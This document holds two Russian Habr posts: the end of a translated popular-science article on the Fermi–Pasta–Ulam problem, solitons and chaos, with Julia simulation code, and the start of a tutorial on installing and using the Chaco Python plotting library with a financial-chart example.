Конечно, не всех убедили эти расчёты. Одним из популярных предположений было то, что ФПУ недостаточно долго проводили моделирование — или, возможно, время, необходимое для достижения равнораспределения для системы FPU, было просто слишком большим для численного наблюдения. Однако в 1972 году физик из Лос-Аламоса Джеймс Л. Тук и Цингоу (которая к тому времени использовала свою супружескую фамилию Мензел) развеяли эти сомнения, проведя чрезвычайно сложное численное моделирование, которое обнаружило повторения на таких удивительно длинных временных масштабах, что их иногда называют «суперповторениями». Это исследование позволило понять, что термализация энергии не была скрыта от ФПУ слишком короткими компьютерными симуляциями — на самом деле происходило нечто более интересное.
▍ 1 + 1 = 3
-----------
Почему Ферми решил, что нелинейные пружины обеспечат равнораспределение энергии в этом эксперименте? И что это вообще за странная концепция нелинейности? Очевидно, что этот термин противопоставляется линейности, которую мы до сих пор обсуждали только с точки зрения пропорциональности входа и выхода.
Студенты-физики изучают линейные системы на вводных занятиях, потому что их гораздо легче анализировать и понимать. Когда точечную массу соединяют с линейной пружиной и дают ей толчок, её последующее поведение очень простое: она будет колебаться вперёд-назад на резонансной частоте системы, которая зависит только от величины массы и постоянной упругости (коэффициент, связывающий величину растяжения или сжатия с восстанавливающей силой). Однако с нелинейной пружиной всё гораздо сложнее. Например, частота колебаний зависит от амплитуды. Слегка подтолкните грузик, и он будет колебаться с одной частотой; сильно пните его, и он начнёт колебаться с другой. Когда человек впервые изучает физику, у него легко может сложиться впечатление, что нелинейные системы являются аномальными. Но нелинейные взаимодействия на самом деле гораздо более характерны для реального мира, чем линейные. По этой причине физики, как известно, язвили, что термин «нелинейная наука» имеет столько же смысла, сколько «неслоновая зоология» (шутка, которую иногда, ошибочно, приписывают Уламу).
Чем нелинейные системы отличаются от линейных, кроме того, что имеют зависящие от амплитуды частоты колебаний? В линейной системе удвоение амплитуды входного сигнала приводит к удвоению амплитуды выходного сигнала, как мы уже обсуждали. Предположим, кто-то поёт в два раза громче в микрофон в караоке-клубе — усиленное пение будет в два раза громче, когда оно будет выходить из колонок. Аналогично, если два человека поют дуэтом, результат будет просто суммой (или «суперпозицией») того, что получилось бы, если бы каждый пел свою партию отдельно. Кроме того, если всё действительно линейно, голоса не будут искажаться. Частоты, которые выходят (то есть, ноты, которые слышны), будут именно теми, которые дуэт ввёл, независимо от амплитуды.
С нелинейными системами всё гораздо сложнее. Например, принцип суперпозиции не действует. Кроме того, выходные частоты не ограничиваются входными частотами. Например, крик в микрофон караоке может перегрузить усилитель, заставив его перейти в нелинейный режим. То, что выходит из динамиков, сильно искажается и содержит частоты, которые никогда не пелись. Могут иметь место и гораздо более тонкие эффекты.
Один из тонких эффектов нелинейной физики был впервые замечен в 1830-х годах, когда молодой инженер по имени [Джон Скотт Рассел](https://en.wikipedia.org/wiki/John_Scott_Russell) был нанят для изучения вопроса о том, как повысить эффективность конструкций барж для канала Юнион вблизи Эдинбурга, Шотландия. По счастливой случайности трос, тянущий баржу, дал трещину. Рассел описал, что после этого произошло:
> Я наблюдал за движением лодки, которую пара лошадей быстро тащила по узкому каналу, когда лодка внезапно остановилась — не так, как масса воды в канале, которую она привела в движение; она скапливалась вокруг носа судна в состоянии сильного волнения, затем внезапно оставляя его позади, покатилась вперёд с большой скоростью, принимая форму большого одиночного возвышения, округлого, гладкого и чётко очерченного холма воды, который продолжал свой путь по каналу, по-видимому, без изменения формы или уменьшения скорости. Я последовал за ним верхом и нагнал его, всё еще движущегося со скоростью восемь-девять миль (14 км) в час, сохраняя свою первоначальную фигуру длиной около тридцати футов и высотой от фута до полутора футов. Его высота постепенно уменьшалась, и после погони в одну-две мили (3 км) я потерял его в извивах канала.
Эта странная волна вела себя не так, как обычная волна на поверхности океана. Волны на море (и многие другие знакомые виды волн) движутся со скоростью, зависящей от длины их волн. Это явление называется дисперсией. Возмущение, подобное тому, которое возникло перед баржей Рассела, можно представить как суперпозицию чисто синусоидальных волн, каждая из которых имеет свою длину волны. Однако если на поверхности открытого океана образуется компактное возмущение, то каждая из составляющих его волн будет двигаться с разной скоростью. В результате начальное возмущение не сохранит свою форму. Вместо этого такая волна станет растянутой и искажённой.
Обладая пытливым умом, Рассел продолжил своё случайное открытие с помощью контролируемых лабораторных экспериментов и количественно описал открытое им явление в публикации 1844 года. Там он показал, например, что уединённые волны большой амплитуды в канале движутся быстрее, чем малые — нелинейный эффект.
*В 1830-х годах инженер Джон Скотт Рассел наблюдал странную волну на Юнион-канале в Шотландии, которая не рассеивалась обычным образом, а сохраняла свою форму по мере продвижения по каналу. Потребовалось более века, чтобы это явление было понято как результат нелинейных эффектов, компенсирующих ожидаемую дисперсию. Один из авторов (Забуски) и покойный Мартин Крускал придумали термин солитон для описания такой волны, которая может возникать в различных физических системах. На этой фотографии 1995 года изображена частично успешная попытка воссоздать волну Рассела на канале Юнион. (Фотография любезно предоставлена Крисом Эйлбеком, Университет Хериот-Ватт).*
В 1895 году голландский физик [Дидерик Кортевег](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D1%80%D1%82%D0%B5%D0%B2%D0%B5%D0%B3,_%D0%94%D0%B8%D0%B4%D0%B5%D1%80%D0%B8%D0%BA) и его студент [Густав де Врис](https://ru.wikipedia.org/wiki/%D0%92%D1%80%D0%B8%D1%81,_%D0%93%D1%83%D1%81%D1%82%D0%B0%D0%B2_%D0%B4%D0%B5) (де Фриз) вывели нелинейное дифференциальное уравнение, известное сегодня как [уравнение Кортевега-де Фриза](https://ru.wikipedia.org/wiki/%D0%A3%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5_%D0%9A%D0%BE%D1%80%D1%82%D0%B5%D0%B2%D0%B5%D0%B3%D0%B0_%E2%80%94_%D0%B4%D0%B5_%D0%A4%D1%80%D0%B8%D0%B7%D0%B0) (КдФ), которое, по их мнению, может описать результаты экспериментов Рассела. Это уравнение показывает, что скорость изменения во времени высоты волны определяется суммой двух членов: нелинейного (который приводит к амплитудно-зависимым скоростям) и линейного (который вызывает дисперсию, зависящую от длины волны). В частности, Кортевег и де Фриз нашли решение для одиночной волны, которое соответствовало странной волне, за которой Рассел следовал верхом на лошади. Это решение возникает в результате баланса между нелинейностью и дисперсией. Голландские физики также нашли периодическое решение своего уравнения, но они не смогли получить общие решения.
Их работа и наблюдения Рассела канули в безвестность и были проигнорированы математиками, физиками и инженерами, изучающими водные волны, до начала 1960-х годов, когда один из авторов данной статьи (Забуски) и ныне покойный Мартин Крускал из Принстонского университета приступили к изучению цепочки ФПУ. Они начали с классической модели ФПУ, но использовали, по сути, бесконечно малые пружины и массы, чтобы представить непрерывную линию деформируемого материала, а не серию дискретных масс. Этот подход позволил им изучить ситуации с большими длинами волн и получить дифференциальное уравнение, которое соответствовало обычному уравнению, описывающему линейные волны, за исключением изменённой дисперсии. Чтобы представить прогрессирующие волны в системе, Крускал вывел из этого уравнения то, что он и Забуски позже признали как уравнение КдФ. Это казалось неразрешимой аналитической задачей, поэтому они (с помощью Гэри Дима, который в то время работал в Bell Telephone Laboratories) использовали численное моделирование, чтобы наблюдать почти полное повторение начальных условий. Для описания своих решений уравнения КдФ они придумали термин, который стал широко использоваться для обозначения явления уединённой волны: солитон.
*На реке Северн в Англии можно заниматься сёрфингом, поскольку широкое устье периодически направляет исключительно высокие паводковые приливы вверх по реке, образуя так называемые приливные боры. Волны, которые следуют за начальным натиском, сохраняют свою форму на протяжении многих километров, позволяя совершать рекордные заезды для сёрфинга. Такие недисперсионные волны возникают во многих физических системах, включая, казалось бы, простую систему масс и пружин*
Они обнаружили, что солитоны развиваются из начального состояния и затем перемещаются влево и вправо, пока не поменяют свои относительные позиции и не сфокусируются почти точно в другой точке пространства. Эта работа (и работа многих последующих исследователей) способствовала огромному количеству аналитических, теоретических и экспериментальных достижений в огромном количестве областей математики и физики.
*Система, подобная той, которую моделировали Ферми, Паста и Улам, но с 256 массами (слева), легко порождает солитоны, которые могут распространяться в любом направлении, обмениваться позициями и в конечном счёте возвращать систему к чему-то, напоминающему её начальную конфигурацию. Движение солитонов здесь можно увидеть, следуя линиям горячего цвета, которые обозначают большие смещения масс. Горизонтальная ось соответствует положению вдоль ряда пружин и масс. Вертикальная ось соответствует времени, которое начинается снизу и продвигается вверх. Возникновение распространяющихся солитонов не требует, чтобы массы были дискретными: они также возникают в непрерывном аналоге системы ФПУ (справа)*
Пока Забуски, Крускал и Дим были заняты проблемой ФПУ, японский математический физик [Морикадзу Тода](https://en.wikipedia.org/wiki/Morikazu_Toda) исследовал похожую нелинейную систему и математически доказал, что в ней никогда не может быть хаоса. В цепочке ФПУ явно было что-то особенно тонкое.
▍ Приспешники Хаоса?
--------------------
Уединённые волны действительно могут создавать удивительно регулярное поведение, но движение системы ФПУ также может быть довольно хаотичным. Действительно, даже очень простые динамические системы обычно поддерживают сложную смесь регулярного и хаотического поведения.
Здесь мы используем слово "*хаотичный*" в его научном смысле. Мы не имеем в виду случайность. Исход в задаче ФПУ регулируется законами Ньютона, которые точно определяют всё будущее движение — здесь нет случайных событий. Однако через некоторое время движения действительно могут показаться очень беспорядочными и неустойчивыми. Более того, состояние системы пружин и масс ФПУ через определённое время очень чувствительно к её начальной настройке: измените хоть немного начальные условия, и через некоторое время результат будет совершенно другим. Многие системы, включая атмосферные колебания, которые приводят к изменению погоды, демонстрируют это свойство и поэтому считаются хаотичными, даже если их движение в течение короткого периода времени может казаться достаточно регулярным. На самом деле, как показывает сама проблема ФПУ, движение в течение даже очень длительных периодов времени может быть довольно регулярным!
Чтобы определить, является ли движение данной системы регулярным или хаотичным (при определённых начальных условиях) в долгосрочной перспективе, полезно построить график изменения конфигурации системы во времени. Проблема в том, что даже простая на первый взгляд динамическая система, состоящая всего лишь из одной массы, имеет шесть переменных для построения графика: координаты и скорости в *x*, *y* и *z*.
Построение всех шести значений для точечной массы в зависимости от времени обычно приводит к визуальному беспорядку, который очень трудно интерпретировать. Однако, построение графика с разумным выбором подмножества точек (которые удовлетворяют определённому, физически мотивированному условию, например, когда определённая переменная скорости равна нулю) облегчает интерпретацию происходящего. Такие участки называются отрезками Пуанкаре, в честь французского физика и математика [Жюля Анри Пуанкаре](https://ru.wikipedia.org/wiki/%D0%9F%D1%83%D0%B0%D0%BD%D0%BA%D0%B0%D1%80%D0%B5,_%D0%90%D0%BD%D1%80%D0%B8).
Регулярные траектории так же предсказуемы, как орбиты планет вокруг Солнца или распорядок дня жителя пригорода. Они могут быть отслежены во времени с большой точностью. С другой стороны, хаотические траектории крайне нерегулярны. Они склонны блуждать, как пьяные матросы, и ограничены только количеством доступной им энергии. Хаос важен для проблемы ФПУ, поскольку, если он достаточно силен, он будет перемешивать энергию между модами колебаний. То есть, хаос может привести к разделению энергии в такой системе. Хотя ни ФПУ, ни Тук и Мензел не обнаружили равнораспределения, в своём исследовании 1967 года Забуски и Дим сделали это, проведя моделирование системы ФПУ, для которой начальные движения масс имели короткую длину волны большой амплитуды. К 2006 году другие исследователи подтвердили это равенство с помощью более комплексного моделирования и анализа.
*Хаотические взаимодействия помогли бы привести к разделению энергии, которое ожидали увидеть Ферми, Паста и Улам. Но эти исследователи не вкладывали в свою систему достаточно энергии, чтобы привести к равнораспределению. Связь с хаосом можно проиллюстрировать на примере системы, математически эквивалентной трехмассовой цепи ФПУ, которую астрономы Мишель Энон и Карл Хайлес изучали в 1963 году. Поведение системы Энона-Хейлеса лучше всего рассматривать с помощью графиков Пуанкаре, которые показывают точки пересечения многомерных траекторий системы с одной выбранной плоскостью. Увеличение энергии в системе дает прогрессию от регулярных траекторий (слева), к траекториям, которые отражают как регулярное, так и хаотическое поведение (в середине), и к траекториям, которые в основном хаотичны (справа).*
Основываясь на исследованиях хаоса и равнораспределения, проведенных в конце 1960-х годов [Борисом Чириковым](https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%80%D0%B8%D0%BA%D0%BE%D0%B2,_%D0%91%D0%BE%D1%80%D0%B8%D1%81_%D0%92%D0%B0%D0%BB%D0%B5%D1%80%D0%B8%D0%B0%D0%BD%D0%BE%D0%B2%D0%B8%D1%87), Эдди Коэн из Рокфеллеровского университета и несколько его коллег недавно исследовали систему ФПУ при высоких энергиях. Исследуя этот вопрос систематически, они продемонстрировали существование двух порогов (как функции энергии на осциллятор) в динамике системы ФПУ. На первом пороге движение переходит от полностью регулярного к слабо хаотическому — есть некоторое хаотическое поведение, но в подавляющем большинстве случаев всё остаётся очень регулярным. При превышении второго, более высокого порога возникает сильный хаос, позволяющий быстро распределять энергию между режимами.
Коэн и соавторы также обнаружили, что термализация происходит быстрее, когда масс больше. Когда число нелинейных осцилляторов становится бесконечным (то есть в реальных ситуациях, которые пытались смоделировать ФПУ), равнораспределение действительно возникает для любого уровня вводимой энергии. Начальные условия, которые ФПУ использовали в своих численных симуляциях, были, однако, ниже порога хаоса, что не позволило им увидеть равнораспределение энергии между различными режимами колебаний. Троица из Лос Аламоса могла бы наблюдать это равенство, если бы использовала либо более высокие значения нелинейности (дающие более сильное взаимодействие между различными модами), либо начальные импульсы с большей энергией. Мы должны быть благодарны за то, что они этого не сделали, учитывая, сколько интереса и понимания возникло в результате.
Один из примеров можно увидеть в исследованиях теплопроводности. (Тема теплопроводности была ключевым мотивом для исследования ФПУ). В начале 19 века французский математик [Ж. Б. Жозеф Фурье](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D1%80%D1%8C%D0%B5,_%D0%96%D0%B0%D0%BD-%D0%91%D0%B0%D1%82%D0%B8%D1%81%D1%82_%D0%96%D0%BE%D0%B7%D0%B5%D1%84) ввёл простой феноменологический закон для описания потока тепла в твёрдых телах. Однако за два столетия, прошедших с тех пор, учёные так и не смогли вывести этот закон напрямую, используя первые принципы. Попытки сделать это предпринимались еще в 1914 году, когда [Петер Дебай](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%B1%D0%B0%D0%B9,_%D0%9F%D0%B5%D1%82%D0%B5%D1%80) изучал теплопроводность в диэлектрических кристаллах. Он предположил, что конечная проводимость таких кристаллов возникает из-за нелинейных взаимодействий в колебаниях их решётки — именно то явление, для исследования которого был разработан подход ФПУ.
С тех пор было проделано много работы по изучению теплопроводности с использованием моделей, подобных ФПУ, в которых каждый конец цепи заземлён на «тепловой ванне» (один конец горячий, а другой холодный), а каждая точечная масса испытывает силы в дополнение к тем, которые исходят от её соседей. Например, эти модели использовались для изучения того, как теплопроводность зависит от количества масс и степени хаоса в системе. Хотя было получено много важных выводов, полный набор необходимых и достаточных условий для справедливости закона Фурье остается неизвестным. Физики были бы очень рады разрешить эту неловкую ситуацию.
▍Каждый твой вздох
------------------
Спустя десятилетия парадокс ФПУ продолжает вдохновлять на изучение многих других увлекательных нелинейных систем, таких как атомные решётки в физике твёрдого тела. До конца 1980-х годов считалось само собой разумеющимся, что колебания этих решёток должны распространяться на расстояния, которые очень велики по сравнению с расстоянием между атомами. Единственными признанными исключениями были те, которые возникали из-за дефектов, разрушающих регулярное расположение атомов в решётке — например, из-за загрязнений или нарушений в чистом кристалле. Принято считать, что только такие неровности могут вызвать локализацию вибраций (хотя более ранние работы Забуски и Дима намекали на обратное).
Эта перспектива была вывернута наизнанку открытием локализованных мод колебаний в идеальных решётках. Такие моды, известные как внутренние локализованные моды (ВЛМ) или дискретные бризеры, могут возникать в сильно нелинейных, пространственно протяжённых решётках и (грубо говоря) играют роль, аналогичную солитонам в непрерывных физических системах. Однако, в отличие от солитонов, ВЛМ не нужно распространяться: они могут просто вибрировать на месте. В настоящее время физики экспериментально наблюдают бризеры в различных физических системах, включая твёрдые тела с переносом заряда, решётки джозефсоновских переходов, фотонные кристаллы, решётки микромеханических осцилляторов и конденсаты Бозе-Эйнштейна.
*В течение многих лет физики считали, что колебания регулярной решётки, скажем, атомов в идеальном кристалле, должны быть распределены в пространстве. Но в конце 1980-х годов физики и математики поняли, что нелинейные системы могут поддерживать пространственно локализованные колебания. Такие внутренние локализованные моды или дискретные бризеры с тех пор наблюдались экспериментально в ряде физических систем. Одна из таких систем состоит из ряда микромеханических балок (слева). Вибрация луча вызывает уменьшение отражаемого им света, как видно на изображении (справа), где прослеживается эволюция системы. Через несколько десятков миллисекунд вибрация становится локализованной в массиве лучей, что приводит к появлению тёмной горизонтальной линии*
Как нелинейность может вызвать локализованный режим колебаний в решётке? Чтобы понять это, рассмотрим два нелинейных осциллятора, которые могут слабо взаимодействовать. Напомним, что поскольку эти осцилляторы нелинейны, частота их колебаний зависит от их энергии. Представьте, что один осциллятор запускается сильным возбуждением, а другой — слабым, так что большая часть энергии системы сначала локализована в первом осцилляторе. В принципе, можно выбрать эти начальные возбуждения так, чтобы их колебания были несоизмеримы (что делает отношение частот их колебаний иррациональным числом).
Следовательно, после запуска обоих осцилляторов на максимальной амплитуде они никогда больше не синхронизируются. Это не позволяет колебаниям первого осциллятора (или любой из его гармоник) резонировать с любой из мод второго осциллятора, что очень затрудняет передачу энергии между двумя осцилляторами.
Теперь рассмотрим цепочку с большим количеством осцилляторов. Установим, что один из них вибрирует с относительно большой амплитудой и с частотой, несоизмеримой с частотой меньших колебаний, которые совершают другие осцилляторы. Этот особый осциллятор теперь с трудом передаёт энергию своим соседям. Таким образом, этот осциллятор и, возможно, небольшое число соседних поддерживают колебания большой амплитуды в течение длительного времени, создавая ВЛМ.
В 1988 году Альберт Сиверс (Корнельский университет) и Шозо Такено (Киотский технический университет) показали, что бризеры могут возникать в решётке ФПУ. Эта идея продолжает активно реализовываться и привела к новым интересным разработкам. В частности, в серии работ, начиная с 2005 года, Сергей Флач из Института физики сложных систем имени Макса Планка и его коллеги использовали эту перспективу, чтобы по-новому взглянуть на рекуррентность ФПУ, которая, по их мнению, является результатом существования объектов, называемых [q-бризерами](https://cyberleninka.ru/article/n/q-brizery-ot-paradoksa-fermi-pasty-ulama-do-anomalnoy-teploprovodnosti). Одной из наиболее активных исследовательских проблем в нелинейной науке является согласование подхода Флаха к пониманию динамики ФПУ с более ранней солитонной перспективой.
▍ Где-то там, за радугой...
---------------------------
Как мы уже обсуждали в мельчайших подробностях, многие очень умные люди за последние полвека проделали значительный путь в многочисленных исследованиях парадокса ФПУ и связанных с ним систем. В ходе этого процесса такие понятия, как хаос, солитоны и бризеры, были изобретены, разработаны, уточнены и применены к ряду реальных систем.
Задача ФПУ затрагивает удивительно широкий спектр тем в нелинейной динамике, статистической механике и вычислительной физике. Тем не менее, эти широкие категории представляют собой лишь малую часть научной литературы, порождённой оригинальным исследованием. Новые статьи по парадоксу ФПУ публикуются и сегодня, спустя 65 лет после первоначального отчёта из Лос-Аламоса. Мы вполне ожидаем, что работа такого рода будет занимать исследователей еще долго после того, как учёные отпразднуют столетие проблемы Ферми-Паста-Улама в 2055 году.
### ❒ Приложение
В дополнение к переводу хотелось бы добавить немного теории. Гамильтониан цепочки нелинейных осцилляторов имеет вид:
Сумма потенциальной и кинетической энергий. Пружинки подчиняются закону Гука с небольшими нелинейными поправками. При α = β = 0 будет обычная линейная связь, которую проходят в школе и на младших курсах, случай β = 0 носит название α-ФПУ, и, соответственно, при α = 0 будет β-ФПУ. Для последних двух случаев можно записать уравнения движения:
![$\ddot x_n = (x_{n+1} - 2x_n + x_{n-1}) + \alpha\left[ (x_{n+1}-x_n)^2 - (x_n-x_{n-1})^2 \right ]\\ \ddot x_n = (x_{n+1} - 2x_n + x_{n-1}) + \beta \left[ (x_{n+1}-x_n)^3 - (x_n-x_{n-1})^3 \right ]$](https://habrastorage.org/getpro/habr/formulas/d75/d48/e88/d75d48e882fc870f1637d237fe8fc1de.svg)
Дальше обычно осуществляется преобразование к нормальным модам, но и в таком виде эти дифуры вполне решаемы. К слову, α-ФПУ при переходе к непрерывному случаю [образует уравнение КдФ](https://en.wikipedia.org/wiki/Fermi%E2%80%93Pasta%E2%80%93Ulam%E2%80%93Tsingou_problem#Connection_to_the_KdV_equation), а из β-ФПУ можно получить одномерное нелинейное уравнение Шрёдингера ([The Fermi-Pasta-Ulam problem: 50 years of progress](https://arxiv.org/abs/nlin/0411062) 2005, [The limit of stochasticity for a one-dimensional chain of interacting oscillators](https://scholar.google.is/citations?view_op=view_citation&hl=ru&user=lOD6QG8AAAAJ&citation_for_view=lOD6QG8AAAAJ:Se3iqnhoufwC) 1984). И нелинейная природа этих уравнений порождает солитоны.
Для решения системы из 64 дифуров (по два на каждый грузик) будем использовать код на Julia:
**Код**
```
using Plots, FFTW
cd(s"C:\Users\User\Desktop\Mycop\plots")
function rk4(f, x, y, h)
k1 = h * f(x , y )
k2 = h * f(x + 0.5h, y + 0.5k1)
k3 = h * f(x + 0.5h, y + 0.5k2)
k4 = h * f(x + h, y + k3)
return y + (k1 + 2*(k2 + k3) + k4)/6.0
end;
function fpu_problem(;N=32, points = 256,
tmax = 10000, dt = 1, α = 0.25)
a=1
tspan = range(0, stop = tmax, step = dt)
Nt = length(tspan)
tcut = Nt ÷ points # на графики не все моменты t
tscaled = tcut:tcut:Nt
U0 = [ a*sin(π*i/(N+1)) for i = 1:N ]
U0 = [U0; zeros(N)] # начальные условия
du = zeros(2N)
function fpu(t,u)
du[1] = u[N+1]
du[N] = u[2N]
du[N+1] = u[2]-2u[1] + α*( (u[2]-u[1])^2-u[1]^2 )
du[2N] = u[N-1] - 2u[N] + α*( u[N]^2-(u[N]-u[N-1])^2 )
for i = 2:N-1
du[N+i] = u[i+1] + u[i-1] - 2u[i] +
α*( (u[i+1]-u[i])^2-(u[i]-u[i-1])^2 )
du[i] = u[N+i]
end
return du
end
XY = [ U0 = rk4(fpu, t, U0, step(tspan)) for t in tspan ]
tspan[tscaled], XY[tscaled]
end
@time T, XY = fpu_problem(N=32, points=512, tmax=10000, dt=0.1);
anim = @animate for i ∈ 1:16:length(XY)
plot( XY[i][1:32], m = (5, :black), ylim = (-1,1), title="$i",
legend = false, line = (2, :black) )
end
gif(anim, "fpu.gif", fps = 2)
```
И визуализируем энергию первых пяти мод:
**Код**
```
N = 32
omegak2 = [ 4*(sin(0.5π*i/N))^2 for i = 1:N ]# Mode Frequencies
Energ = zeros(length(XY), N);
for i = 1:length(XY)
YX = [0; XY[i][1:N]]
YV = [0; XY[i][N+1:2N ]]
sXF = imag( fft( [ YX; 0; -YX[N+1:-1:2] ] ) ) / sqrt(2*(N+1))
sVF = imag( fft( [ YV; 0; -YV[N+1:-1:2] ] ) ) / sqrt(2*(N+1))
Energ[i,:] .= 0.5*( omegak2[1:N].*(sXF[2:N+1].^2)+sVF[2:N+1].^2 )
end
plot(T,Energ[:,1], line = (3, :blue), lab = "n=1")
plot!(T,Energ[:,2], line = (3, :red), lab = "n=2")
plot!(T,Energ[:,3], line = (3, :green), lab = "n=3")
plot!(T,Energ[:,4], line = (3, :orange), lab = "n=4")
plot!(T,Energ[:,5], line = (3, :purple), lab = "n=5")
xaxis!("time")
yaxis!("Energy")
```
Расчёт занимает меньше секунды, и это я еще не заморочился избавиться от лишних аллокаций и подсчётов. Теперь не то что пообедать — зевнуть не успеть, пока ждёшь результата. Да и использование метода с фиксированным шагом есть расточительство оправдываемое только простотой кода. У себя на компьютере можно ставить количество фреймов и fps побольше, тогда анимации будут красивей, а здесь используются дёрганные, но легковесные файлы.
### ▍ Материалы для погружения в тему
* [Кажется, эта квантовая машина противоречит стремлению Вселенной к беспорядку](https://habr.com/ru/post/447468/)
* [Математики решили проблему Ферми-Паста-Улама](https://habr.com/ru/post/377729/)
* [Russian scientists have discovered a new physical paradox](http://studyinspb.ru/%D1%83%D1%87%D1%91%D0%BD%D1%8B%D0%B5-%D0%BF%D0%BE%D0%BB%D0%B8%D1%82%D0%B5%D1%85%D0%B0-%D0%BE%D0%B1%D0%BD%D0%B0%D1%80%D1%83%D0%B6%D0%B8%D0%BB%D0%B8-%D0%BD%D0%BE%D0%B2%D1%8B%D0%B9-%D1%84%D0%B8%D0%B7/) ([перевод](https://www.youtube.com/watch?v=tPzldIKdk-U))
* [Как из хаоса рождается порядок?](https://www.youtube.com/watch?v=HmmYtopGx7Y&list=LLQTMDXS_lnVSwmvDw7EiHPQ) [Veritasium]
* [Учёные обнаружили новые экзотические формы синхронизации](https://habr.com/ru/post/455828/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Yermack&utm_content=paradoks_polozhivshij_nachalo_nauchnym_vychisleniyam) | https://habr.com/ru/post/583120/ | null | ru | null |
# Отрисовка графиков в Chaco
Сегодня расскажу вам о замечательной программе под названием Chaco, которую разрабатывает компания Enthought.
Chaco — это кроссплатформенное приложение по созданию графиков любой сложности на языке Python. Ориентируется на отрисовку статических данных, но имеет и возможности создания анимации.
Так же, как и Mayavi умеет встраиваться в Wx и Qt (PyQt и PySide) приложения, дружит с Numpy-массивами.
##### Установка
Первым делом Chaco надо установить. Ставим зависимости: git, subversion, setuptools, swig, numpy, scipy, vtk, wxpython. Для Windows также потребуется установить mingw (vtk и wxpython для Win советую взять отсюда для экономии времени [www.lfd.uci.edu/~gohlke/pythonlibs](http://www.lfd.uci.edu/~gohlke/pythonlibs/) ). Забираем с git продукты ETS (ненужное можно будет удалить):
`mkdir ets && cd ets
wget github.com/enthought/ets/raw/master/ets.py
python ets.py clone`
Затем все это дело собираем:
`python ets.py develop`
Возможно придется еще что-то доставить, тут нужно смотреть логи сборки. Чего на хватало, устанавливаем и запускаем сборку заново.
##### Примеры
В папке ets/chaco/examples можно будет увидеть большой архив различных примеров. Примеры очень хорошие, так что мне что-то объяснять довольно трудно, получится копипаст кода.
Опишу лишь некоторые необычные графики, которые можно строить в Chaco:
* ##### Финансовые:
Данный пример использует встраивание в виджет PySide.
`> # -\*- coding: utf-8 -\*\_
>
>
>
>
>
> # Важное установить переменную QT\_API равной pyside до того,
>
>
> # как происходит импорт модулей Chaco
>
>
> import os
>
>
> os.environ['QT\_API'] = 'pyside'
>
>
> os.environ['ETS\_TOOLKIT'] = 'qt4'
>
>
> from PySide import QtGui, QtCore
>
>
>
>
>
> from numpy import abs, arange, cumprod, random
>
>
> from enable.example\_support import DemoFrame, demo\_main
>
>
> from enable.api import Window, Component, ComponentEditor
>
>
> from traits.api import HasTraits, Instance
>
>
> from traitsui.api import Item, Group, View
>
>
> from chaco.api import ArrayDataSource, BarPlot, DataRange1D, \
>
>
> LinearMapper, VPlotContainer, PlotAxis, FilledLinePlot, \
>
>
> add\_default\_grids, PlotLabel
>
>
> from chaco.tools.api import PanTool, ZoomTool
>
>
>
>
>
> # Функция, создающая контейнер с графиками
>
>
> def \_create\_plot\_component():
>
>
>
>
>
> # Создадим случайные величины для графиков
>
>
> numpoints = 500
>
>
> index = arange(numpoints)
>
>
> returns = random.lognormal(0.01, 0.1, size=numpoints)
>
>
> price = 100.0 \* cumprod(returns)
>
>
> volume = abs(random.normal(1000.0, 1500.0, size=numpoints) + 2000.0)
>
>
>
>
>
> # ArrayDataSource - это массивы, хранящие наши данные
>
>
> time\_ds = ArrayDataSource(index)
>
>
> vol\_ds = ArrayDataSource(volume, sort\_order="none")
>
>
> price\_ds = ArrayDataSource(price, sort\_order="none")
>
>
>
>
>
> # LinearMapper - это массивы подписей по осям
>
>
> xmapper = LinearMapper(range=DataRange1D(time\_ds))
>
>
> vol\_mapper = LinearMapper(range=DataRange1D(vol\_ds))
>
>
> price\_mapper = LinearMapper(range=DataRange1D(price\_ds))
>
>
>
>
>
> # График цены типа FilledLinePlot с заполнением области под графиком
>
>
> price\_plot = FilledLinePlot(index = time\_ds, value = price\_ds,
>
>
> index\_mapper = xmapper,
>
>
> value\_mapper = price\_mapper,
>
>
> edge\_color = "blue",
>
>
> face\_color = "paleturquoise",
>
>
> bgcolor = "white",
>
>
> border\_visible = True)
>
>
>
>
>
> # Добавим сетку и оси
>
>
> add\_default\_grids(price\_plot)
>
>
> price\_plot.overlays.append(PlotAxis(price\_plot, orientation='left'))
>
>
> price\_plot.overlays.append(PlotAxis(price\_plot, orientation='bottom'))
>
>
>
>
>
> # Добавим возможность передвигания графика
>
>
> price\_plot.tools.append(PanTool(price\_plot, constrain=True,
>
>
> constrain\_direction="x"))
>
>
> # Добавим зум
>
>
> price\_plot.overlays.append(ZoomTool(price\_plot, drag\_button="right",
>
>
> always\_on=True,
>
>
> tool\_mode="range",
>
>
> axis="index"))
>
>
>
>
>
> # BarPlot - график в виде "столбиков"
>
>
> vol\_plot = BarPlot(index = time\_ds, value = vol\_ds,
>
>
> index\_mapper = xmapper,
>
>
> value\_mapper = vol\_mapper,
>
>
> line\_color = "transparent",
>
>
> fill\_color = "black",
>
>
> bar\_width = 1.0,
>
>
> bar\_width\_type = "screen",
>
>
> antialias = False,
>
>
> height = 100,
>
>
> resizable = "h",
>
>
> bgcolor = "white",
>
>
> border\_visible = True)
>
>
>
>
>
> # Добавим сетку и оси
>
>
> add\_default\_grids(vol\_plot)
>
>
> vol\_plot.underlays.append(PlotAxis(vol\_plot, orientation='left'))
>
>
> vol\_plot.tools.append(PanTool(vol\_plot, constrain=True,
>
>
> constrain\_direction="x"))
>
>
>
>
>
> # container - массив наших графиков, управляет их расположением
>
>
> container = VPlotContainer(bgcolor = "lightblue",
>
>
> spacing = 20,
>
>
> padding = 50,
>
>
> fill\_padding=False)
>
>
> container.add(vol\_plot)
>
>
> container.add(price\_plot)
>
>
> # Добавим надпись над контейнером
>
>
> container.overlays.append(PlotLabel("Financial Plot",
>
>
> component=container,
>
>
> font="Arial 24"))
>
>
> return container
>
>
>
>
>
>
>
>
> class Demo(HasTraits):
>
>
> # HasTraits - особый класс-словарь Traits, который связывается
>
>
> # с некоторым обработчиком.
>
>
> plot = Instance(Component)
>
>
>
>
>
> # View - представление наших графиков.
>
>
> traits\_view = View(
>
>
> Group(
>
>
> Item('plot', editor=ComponentEditor(size=(800, 600)),
>
>
> show\_label=False),
>
>
> orientation = "vertical"),
>
>
> resizable=True
>
>
> )
>
>
>
>
>
